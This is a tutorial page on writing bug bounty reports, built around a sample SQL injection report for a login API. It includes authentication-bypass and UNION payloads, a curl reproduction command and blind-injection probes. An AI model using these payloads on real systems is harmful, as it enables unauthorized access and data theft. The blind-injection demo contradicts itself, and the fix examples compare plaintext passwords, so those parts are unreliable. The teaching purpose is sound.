Bug Bounty Writeup Example
Learn Professional Vulnerability Reporting Through a Real SQL Injection Example
The Art of Bug Bounty Documentation
Writing a clear, comprehensive bug bounty report can mean the difference between a valid critical finding and a rejected report. Security teams receive hundreds of submissions; well-documented reports that clearly communicate impact and provide working proof of concept receive priority attention and appropriate severity ratings.
This guide walks through a complete SQL injection vulnerability report, explaining each section and the reasoning behind the documentation approach. Following this structure ensures your findings are well-received, properly evaluated, and efficiently remediated.
Report Structure Overview
Clear, descriptive vulnerability name
CVSS score and justification
What the vulnerability is
Reproducible test procedure
Working exploit demonstration
Real-world security implications
Specific fix recommendations
Supporting documentation
Sample Bug Bounty Report: SQL Injection
SQL Injection in Login Form Allows Authentication Bypass
The title should clearly identify the vulnerability type and location. Include the affected parameter and consequence.
CVSS v3.1 Base Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Severity Justification: - Attack Vector: Network (remotely exploitable) - Attack Complexity: Low (no special conditions required) - Privileges Required: None (unauthenticated) - User Interaction: None (automatic exploitation possible) - Scope: Unchanged (only affected application) - Confidentiality: High (full database access possible) - Integrity: High (data modification or deletion) - Availability: High (application denial of service possible) This constitutes a Critical severity finding as it allows unauthenticated remote attackers to execute arbitrary SQL commands, potentially gaining complete control of the application and underlying server.
CVSS scoring provides objective severity assessment that security teams can use for prioritization.
The login form at /api/auth/login contains a SQL injection vulnerability in the email parameter. The application fails to properly sanitize user input before incorporating it into an SQL query. This allows remote attackers to manipulate the query logic, bypass authentication, and potentially extract or modify sensitive data from the database.
The vulnerable endpoint accepts JSON requests and directly concatenates the email parameter into a database query without using parameterized statements or proper input validation. Similar vulnerabilities may exist in other endpoints that construct queries dynamically.
1. Navigate to the login page at https://target.com/login
2. Open browser developer tools (F12) and go to Network tab
3. Enter the following credentials in the login form:
Email: test@test.com' OR '1'='1' --
Password: anything
4. Click Submit and observe the intercepted request
5. The request body should be:
{
"email": "test@test.com' OR '1'='1' --",
"password": "anything"
}
6. The application will authenticate as the first user
in the database (typically the admin account)
7. Alternatively, use curl to reproduce:
curl -X POST https://target.com/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com'"'"' OR '"'"'1'"'"'='"'"'1'"'"' --","password":"test"}'Include specific steps that any security tester can follow to reproduce the issue independently.
# Request demonstrating authentication bypass:
POST /api/auth/login HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: 85
{"email":"admin@target.com' UNION SELECT 1,'admin@target.com','secret123'--","password":"test"}
# Successful response (200 OK):
{
"success": true,
"user": {
"id": 1,
"email": "admin@target.com",
"role": "administrator"
},
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}
# Boolean-based blind SQL injection demonstration:
# True condition (email exists):
POST /api/auth/login
{"email":"test@test.com' AND 1=1--","password":"x"}
Response: {"success":false,"error":"Invalid credentials"} [Time: 850ms]
# False condition (email does not exist):
POST /api/auth/login
{"email":"test@test.com' AND 1=2--","password":"x"}
Response: {"success":false,"error":"Invalid credentials"} [Time: 850ms]
# Different timing indicates SQL execution but no visible difference.
# The database is processing both queries successfully.Proof of concept should be functional without providing fully weaponized attack tools.
An attacker can extract all data from the database including user credentials, personal information, transaction history, and any other data stored by the application. With UNION-based injection, attackers can dump entire database contents including password hashes for offline cracking.
Beyond reading data, SQL injection allows modifying database contents. Attackers can change user roles to gain administrative access, modify transaction records, insert malicious data, or corrupt application functionality.
Attackers can use stacked queries to delete data or drop tables, causing complete application outage. Additionally, time-based blind injection can exhaust database resources, leading to denial of service.
Most critically, this vulnerability allows unauthenticated attackers to log in as any user, including administrators. This provides immediate access to all administrative functions and sensitive data without requiring any credentials.
# Node.js/Express example with parameterized queries
const query = 'SELECT * FROM users WHERE email = ? AND password = ?';
db.execute(query, [email, password]);
# Avoid string concatenation:
const badQuery = "SELECT * FROM users WHERE email = '" + email + "'"; // VULNERABLE
# Python/Flask with SQLAlchemy
user = User.query.filter_by(email=email, password=password).first()
# PHP with PDO (prepared statements)
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND password = ?');
$stmt->execute([$email, $password]);Parameterized queries ensure user input is treated as data, not executable code.
- - Implement input validation whitelisting for email format
- - Use an ORM with built-in injection protection
- - Apply principle of least privilege for database accounts
- - Implement Web Application Firewall rules for SQL injection patterns
- - Add rate limiting to prevent automated attacks
- - Enable database query logging and anomaly detection
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
https://cwe.mitre.org/data/definitions/89.html
https://portswigger.net/web-security/sql-injection
https://sqlmap.org/
Report Writing Best Practices
Beyond the structural elements, successful bug bounty researchers follow certain practices that improve their report acceptance rates and severity assignments. Understanding what security teams look for in reports helps researchers craft more impactful submissions.
Do's
Include exact requests and responses showing the vulnerability
Provide working proof of concept that security teams can verify
Calculate and justify CVSS scores using the official calculator
Explain real-world impact beyond the technical finding
Suggest specific, actionable remediation steps
Include screenshots and visual evidence where helpful
Don'ts
Submit vague descriptions requiring follow-up questions
Provide non-functional or incomplete proof of concept
Overstate impact without supporting evidence
Use generic remediation suggestions without specific guidance
Include unnecessary complexity or unrelated findings
Forget to test the specific scope version before reporting
Handling Different Vulnerability Types
While the SQL injection report provides a comprehensive template, different vulnerability classes require tailored approaches. Understanding how to adapt the structure for various finding types ensures all your reports meet professional standards.
Document DOM context, payload used, and potential cookie stealing or keylogging scenarios
Show before/after screenshots of accessing other users data, enumerate affected object IDs
Demonstrate internal resource access, cloud metadata enumeration, port scanning from server perspective
Explain authentication bypass mechanics, session hijacking possibilities, account takeover scenarios
Walk through the workflow manipulation, describe intended vs actual behavior, quantify financial impact
Identify exactly what information is exposed, what an attacker can learn, and potential attack chain implications
Frequently Asked Questions
What makes a good bug bounty writeup?
A good bug bounty writeup clearly explains what the vulnerability is, provides reproducible steps to reproduce it, includes a working proof of concept, assesses the real-world impact, and offers actionable remediation suggestions. The report should be technical but accessible, well-organized with clear headings, and include supporting evidence like HTTP requests, responses, and screenshots. Professional formatting with markdown improves readability for security teams.
How do you assess vulnerability severity in bug reports?
Vulnerability severity is assessed using standardized frameworks like CVSS (Common Vulnerability Scoring System) or program-specific rating scales. Consider exploitability (how easy is it to exploit), impact (what can an attacker accomplish), and scope (does it affect only the vulnerable component or wider systems). For SQL injection, factors include whether it is blind or union-based, what data can be extracted, authentication requirements, and whether it leads to complete system compromise.
Should bug bounty writeups include actual exploit code?
Bug bounty writeups should include proof of concept that demonstrates the vulnerability without providing fully weaponized exploit code. The PoC should show exploitation is possible while leaving actual attack implementation to the organization. This balances demonstrating impact with responsible disclosure. For SQL injection, showing how to extract database version or current user demonstrates severity without providing a complete attack tool that could be misused.
How detailed should bug bounty reports be?
Bug bounty reports should be detailed enough that any competent security professional can reproduce the issue without additional clarification from the researcher. Include exact requests and responses, specific parameters tested, the exact payload used, and what outcome was observed. However, avoid unnecessary complexity. Every piece of information should contribute to understanding or reproducing the vulnerability. Aim for completeness without verbosity.
How long should it take to write a good bug bounty report?
Writing a high-quality bug bounty report takes 30 minutes to 2 hours depending on vulnerability complexity. Simple vulnerabilities like misconfigured security headers may take 15-30 minutes. Complex vulnerabilities like SQL injection with multiple exploitation vectors may require 2-4 hours including developing proof of concept, documenting all test cases, and researching appropriate remediation. The time invested in quality reporting significantly impacts whether findings are accepted and the severity assigned.
What common mistakes should be avoided in bug bounty reports?
Common report mistakes include: vague descriptions that require follow-up questions; missing reproduction steps; failing to document the actual impact beyond the technical finding; providing incomplete PoC that does not work; using overly technical jargon without explanation; and not suggesting remediation or providing generic advice. Other issues include submitting without testing on the specific scope version, forgetting to test for secondary impacts, and poor formatting that makes reports difficult to read.
Master Bug Bounty Reporting
Learn professional vulnerability assessment and documentation techniques in our ethical hacking course. Build skills that lead to successful bug hunting.
